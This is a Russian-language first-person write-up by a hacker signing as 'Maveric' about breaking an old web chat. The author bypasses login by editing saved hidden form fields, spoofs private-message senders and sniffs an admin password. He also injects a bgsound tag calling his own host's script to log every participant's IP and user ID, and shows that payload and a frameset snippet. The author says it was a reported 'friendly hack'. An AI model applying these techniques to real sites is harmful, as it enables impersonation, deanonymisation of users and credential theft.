В любом чате фрейм,
в котором ты пишешь сообщения, генерится
динамически (для каждого входящего)
и, возможно, содержит несколько
скрытых полей. Типа <input type=hidden
name=cookie value=SP202134> (так
в партизанах хранится UserID)
Идея в следующем:
сохраняем содержимое этого фрейма
на диске и исправляем его так, что
бы можно было с ним работать со
своего винта. Т.е. заменяем ссылки
типа /cgi-bin/refresh.pl на полный
путь www.chat.nsk.su/cgi-bin/refresh.pl
и вместо скрытых полей формы пишем
типа <input type=text name=cookie
value=SP202134> (что бы можно
было их изменять) После этого делаем
HTML документ для "сборки чата"
из кусков. Т.е. примерно так
"First.htm"
<html>
<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg" src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">
<frame name="rigt" src="http://www.chat.nsk.su/right.html">
</frameset>
<frame name="bot" src="start.htm">
</frameset>
</html>
Start.htm - это
и есть тот фрейм который я сохранил
и изменил
После этого просто
броузером открывал эту страницу
(First.htm). И сразу(!!!) попадал
в чат, минуя стандартную процедуру
входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров,
за счет взятия чужого ID'a
Дальше стало интересно
вычислить IP участников. Обнаружил,
что не запрещён тэг <bgsound
src="">. Это позволило вставлять
в своё сообщение ресурс со своей
машины. Сам по себе звук на хер
не нужен, но этот косяк позволил
вставить в свой месс строку типа
<bgsound src="http://MyIP/cgi-bin/spy.exe">.
Этот скрипт (spy.exe) вызывался
с машины КАЖДОГО участника чата.
Это позволило увидеть IP всех (скрипт
просто сохранял мне на винт данные
из переменной окружения REMOTE_ADDR).
Это мне не очень понравилось, тк
не понятно было где чей IP. Примерно
в это-же время в чате появились
приваты. Это значит, что документ
в главном фрейме (тот где мессы
все) стал называться по другому.
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end
После появления
приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end
Где SP456789 -
UserID
После этого в
скрипт (spy.exe) был добавлен вывод
ID'a из переменной окружения HTTP_REFERER
Ну а сопоставить ник с ID'ом не
проблемма, тк ID каждого прописан
там же примерно в такой строке
<br><b><font color=yellow size=-1>Тут ник</font></b>
<font color=black><a href="/cgi-bin/private_form.cgi?SP448188">
<img src=/img/mes.gif border=0 vspace=0></a></font>
(Это строка взята
из правого фрейма, где можно вызвать
функцию "Кто в чате")
После этого перестало
быть проблемой сопоставление ника
и IP. Затем я решил позабавиться
с приватами.
Используя метод
сохранения странички на винт (описанный
выше), я получил форму для отправления
приватов от КОГО-ТО КОМУ-ТО. Т.е.
я смог в отсылаемом приватно сообщении
проставлять имя отправителя.
Осталось только
одно. Я знал, что в чате есть киллеры,
но ничего не знал про то, что это,
где это, как это. Знал только, что
для того, чтобы киллерствовать надо
зайти на какую-то страничку. Очевидно,
что в этой киллерской страничке
показываются имена. Предположил,
что моё имя показываются таким,
каким я его ввожу. Исходя из этого,
я под именем <bgsound src="http://MyIP/cgi-bin/spy.exe">
MyNick зашел в чат (через прокси),
и начал легонько ругаться (мне надо
было, чтобы киллеры зашли на свою
страничку). После этого (когда меня
убили) я разгреб лог моего ВебСервера
(OmniHTTPd beta) и увидел там обращение
со страници не относящейся к известным
мне страницам чата. Я полез на эту
страницу и получил запрос на ввод
пароля, со словами "Дорогой администратор...".
Это приятно согрело душу. Дальше
я начал думать, то ли подобрать
пароль, то ли ещё что придумать.
Но ситуация так сложилась, что я
оказался в одной сети с киллером,
и, запустив сниффер, я поимел пароль.
Ну вот и все.
With best regards,
Maveric.
P.S. Ни один из
этих приколов уже не работает в
партизанах, т.к. это был "дружественный
взлом" и обо всем, что я нашел,
я рассказал создателю чата. Он все
косяки исправил.